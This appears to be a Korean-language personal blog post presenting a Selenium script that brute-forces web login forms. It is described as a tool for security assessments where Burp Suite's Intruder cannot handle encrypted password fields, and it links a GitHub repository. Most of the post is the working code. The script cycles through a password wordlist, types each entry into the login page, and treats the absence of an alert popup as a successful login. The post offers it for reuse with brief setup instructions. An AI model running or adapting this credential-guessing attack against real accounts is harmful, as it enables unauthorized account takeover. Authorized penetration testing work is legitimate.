효투의 세상 로딩중...
효투의 세상 로딩중...
반응형

2022.02.15 - [개발] - [Python] 웹 자동화 및 크롤링을 위한 Selenium

 

[Python] 웹 자동화 및 크롤링을 위한 Selenium

Selenium을 이용해서 정보수집을 위한 웹 크롤링이나 간단한 단순 조작들을 자동화할 수 있다. 예시로 한 웹에 들어가서 자동으로 로그인하는 것 까지 과정을 만들어보자. 파이썬의 파이프를 이용

hyotwo.tistory.com

 

이전에 셀레니움에 관해 포스팅을 한번 한 적이 있다.

근데 이번에 이 셀레니움을 이용해서 로그인 자동화 공격 툴을 만들어봤다

만든 이유는 버프의 Intruder 기능을 사용하기가 좀 어려웠다.

진단을 하다보면 아래 사진과 같이 계정의 패스워드 파라미터가 암호화되어 날아가는 경우가 있는데,

이는 burp의 인트루더로는 자동화공격 테스트가 불가하다.

 

그래서 직접 타이핑을 하고 그 결과를 확인할 수 있는 간단한 도구가 필요했는데

저번에 만들어본 셀레니움이 생각나서 조금 더 코드를 얹어 구현했다.

워드리스트를 아래와같이 생성하고

테스팅 페이지에서 동작하는 모습은 아래 영상과 같다.

 

 전체적인 코드는 아래와 같다.

driver = webdriver.Chrome("./chromedriver.exe") # 크롬드라이버 경로 chromedriver path
u = 'login url'
driver.get(u)

#파일을 불러와서 배열로 만듬 Create an array with a wordlist
file_path = "wordlist 경로"

with open(file_path) as f:
    wordlist = f.read().splitlines()

#직접 배열을 만듬 Create direct array
#wordlist=['1', '2', '3', '4', '5'] # 입력할 패스워드
driver.implicitly_wait(10)
licycle = cycle(wordlist)
cu = driver.current_url

while True:
        
        driver.implicitly_wait(5)
        nextp = next(licycle)
        sleep(1)
        A = "//input[@name='ID point']"
        input_window = driver.find_element_by_xpath(A)
        input_window.send_keys ("ID")
        sleep(1)
        B = "//input[@name='PW point']"
        input_window = driver.find_element_by_xpath(B)
        input_window.send_keys (nextp+"\n")
        print("\033[91m"+"패스워드 입력 : " +"\033[94m"+ nextp + "\033[0m")
        
        try:
            WebDriverWait(driver, 3).until(EC.alert_is_present(),
                                   'Timed out waiting for PA creation ' +
                                   'confirmation popup to appear.')

            alert = driver.switch_to.alert
            alert.accept()
            print("\033[33m"+"로그인 실패"+"\033[0m")
            print(driver.title +" ----- "+ cu)
        except TimeoutException:
            print("\033[32m"+"로그인 성공 종료합니다."+"\033[0m")
            print(driver.title)
            break
        input_window = driver.find_element_by_xpath(A)
        input_window.send_keys (Keys.CONTROL + "a") 
        input_window.send_keys (Keys.DELETE) 
        input_window = driver.find_element_by_xpath(B)
        input_window.send_keys (Keys.CONTROL + "a") 
        input_window.send_keys (Keys.DELETE)

 

코드가 조잡하긴 하지만...

잘 굴러간다.

u변수에 로그인 페이지의 url을 입력하고

워드리스트 파일을 만들거나 직접 배열을 생성해준다

반응형

A 변수와 B 변수에는 로그인 시 입력할 부분의 id값이나 name값 등을 넣어서 구분할 수 있게 하고 실행하면된다.

참고할 점은 로그인 실패 시 alert창이 떠야지만 잘 굴러간다

로그인 시에 alert 창이 뜨는 웹이 대다수고 이 도구를 만들때도 alert창이 떠서 그 alert창의 여부로 로그인 실패/성공을 판단해서 로그인 실패 시 alert창이 없는 웹은 not in 또는 in 으로 새로 조건문을 만들어서 해야할 듯 하다.

깃허브

https://github.com/hyotwo/selenium-login-Brute-Force-Attack

 

GitHub - hyotwo/selenium-login-Brute-Force-Attack: 로그인 자동화 진단에 전문적인 도구와 BurpSuite의 Intruder

로그인 자동화 진단에 전문적인 도구와 BurpSuite의 Intruder 기능을 사용할 수 없는 경우 간단한 테스트를 위한 것입니다. 로그인 실패와 성공 여부는 Alert의 유무를 통해 결정되므로 로그인 실패 시

github.com

 

 

 

반응형
  • hyotwo7658@gmail.com

복사 완료 👍